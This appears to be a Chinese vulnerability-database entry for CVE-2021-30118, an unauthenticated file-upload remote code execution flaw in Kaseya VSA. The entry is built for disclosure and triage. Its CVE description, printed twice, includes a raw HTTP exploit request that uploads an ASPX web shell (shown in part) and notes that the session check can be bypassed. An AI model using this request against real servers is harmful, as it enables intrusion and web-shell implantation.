CVE-2021-30118— Kaseya VSA RMM 代码问题漏洞
一分钟漏洞结论
影响对象
n/a n/a
利用判断
存在公开或 AI PoC，应优先验证
建议动作
优先检查厂商安全公告和参考链接中的修复版本；无法立即升级时，限制受影响服务暴露并加强监测。
Kaseya VSA RMM是瑞士卡西亚（Kaseya）公司的一套远程监控和终端管理解决方案。 Kaseya VSA Unified Remote Monitoring & Management 9.5.5之前版本存在代码问题漏洞。攻击者可利用该漏洞远程执行代码。
公开利用映射 1
Nuclei · 1
CVE-2021-30118.yaml [template]
可能的 ATT&CK 技术 3 AI
T1078 · Valid Accounts T1190 · Exploit Public-Facing Application T1505.003 · Web Shell
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一、 漏洞 CVE-2021-30118 基础信息
漏洞信息
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Vulnerability Title
Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5
来源: CVE Program / CVE List V5
Vulnerability Description
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
来源: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
来源: CVE Program / CVE List V5
Vulnerability Type
N/A
来源: CVE Program / CVE List V5
Vulnerability Title
Kaseya VSA RMM 代码问题漏洞
来源: 中国国家信息安全漏洞库 CNNVD
Vulnerability Description
Kaseya VSA RMM是瑞士卡西亚（Kaseya）公司的一套远程监控和终端管理解决方案。 Kaseya VSA Unified Remote Monitoring & Management 9.5.5之前版本存在代码问题漏洞。攻击者可利用该漏洞远程执行代码。
来源: 中国国家信息安全漏洞库 CNNVD
CVSS Information
N/A
来源: 中国国家信息安全漏洞库 CNNVD
Vulnerability Type
N/A
来源: 中国国家信息安全漏洞库 CNNVD
受影响产品
| 厂商 | 产品 | 影响版本 | CPE | 订阅 |
|---|---|---|---|---|
| - | n/a | n/a | - |
|
二、漏洞 CVE-2021-30118 的公开POC
| # | POC 描述 | 源链接 | 神龙链接 |
|---|---|---|---|
| 1 | An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request- ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host- 192.168.1.194 Cookie- sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length- 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise. | https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30118.yaml | POC详情 |
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CVE-2021-30118 其他参考 (4)
-
https://csirt.divd.nl/DIVD-2021-00011 x_refsource_CONFIRM
-
https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ x_refsource_CONFIRM
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https://csirt.divd.nl/CVE-2021-30118 x_refsource_CONFIRM
同批安全公告 · n/a · 2021-07-09 · 共 48 条
| CVE-2021-30116 | 10.0 CRITICAL | Kaseya VSA 输入验证错误漏洞 |
| CVE-2021-30120 | 9.9 CRITICAL | Kaseya VSA 安全漏洞 |
| CVE-2021-30117 | 9.8 CRITICAL | Kaseya VSA SQL注入漏洞 |
| CVE-2021-23405 | 8.3 HIGH | Pimcore SQL注入漏洞 |
| CVE-2021-30201 | 7.5 HIGH | Kaseya VSA 代码问题漏洞 |
| CVE-2021-30121 | 6.5 MEDIUM | Kaseya VSA 代码注入漏洞 |
| CVE-2021-30119 | 5.4 MEDIUM | Kaseya VSA 跨站脚本漏洞 |
| CVE-2020-25877 | Blackcat Cms 跨站脚本漏洞 | |
| CVE-2021-33795 | Foxit Reader和Foxit PhantomPDF 安全漏洞 | |
| CVE-2020-25875 | Codoforum 跨站脚本漏洞 | |
| CVE-2020-25876 | Codoforum 跨站脚本漏洞 | |
| CVE-2020-25394 | moziloCMS 跨站脚本漏洞 | |
| CVE-2020-35987 | Rukovoditel 跨站脚本漏洞 | |
| CVE-2021-35358 | Dotcms dotCMS 跨站脚本漏洞 | |
| CVE-2021-35361 | Dotcms dotCMS 跨站脚本漏洞 | |
| CVE-2021-35360 | Dotcms dotCMS 跨站脚本漏洞 | |
| CVE-2021-36371 | Emissary-Ingress 信任管理问题漏洞 | |
| CVE-2021-33214 | Hms Networks eCatcher 安全漏洞 | |
| CVE-2021-33792 | Foxit Reader 和 Foxit PhantomPDF 缓冲区错误漏洞 | |
| CVE-2021-27038 | Autodesk Design Review 安全漏洞 |
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